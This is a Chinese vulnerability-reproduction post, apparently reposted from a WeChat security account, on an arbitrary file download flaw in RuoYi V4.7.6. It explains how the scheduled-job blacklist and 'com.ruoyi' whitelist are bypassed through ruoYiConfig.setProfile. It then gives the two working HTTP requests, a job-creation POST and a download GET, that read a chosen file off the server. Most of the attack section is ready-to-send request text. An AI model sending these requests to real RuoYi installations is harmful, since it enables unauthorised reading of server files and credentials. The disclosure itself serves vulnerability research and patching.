RuoYi-若依V4.7.6任意文件下载漏洞
漏洞原理黑白名单过滤代码
黑名单如下
public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext",
"org.yaml.snakeyaml", "org.springframework", "org.apache", "com.ruoyi.common.utils.file",
"com.ruoyi.common.config" };
这里有一个 bean 转换的操作,然后在判断包名是否在白名单类,默认白名单是
public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" };
这样使用的 bean 可以绕过黑名单的限制,然后符合白名单的bean。
使用 ruoYiConfig.setProfile('c://xxx/xxxxx')
即可绕过黑白名单,导致任意文件下载。
先提交一个定时任务
POST /monitor/******/add HTTP/1.1
Host: ******
Content-Length: 202
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/******
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://******
Referer: http://******/monitor/job/add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:******;
JSESSIONID=******;rememberMe=******
******
此处省略数行...
Connection: close
createBy=admin&jobName=renwu&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile('C://Users/Administrator/Desktop/1.txt')&cronExpression=0%2F15+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark=
执行之后 任意文件下载
GET /common/download/resource?resource=C://Users/Administrator/******/1.txt:.zip
HTTP/1.1
Host: ******
Referer: http://******/monitor/job
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/******
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:******
JSESSIONID=******;rememberMe=******
******
此处省略数行...
Connection: close
原文始发于微信公众号(Th0r安全):漏洞复现-RuoYi-若依V4.7.6任意文件下载漏洞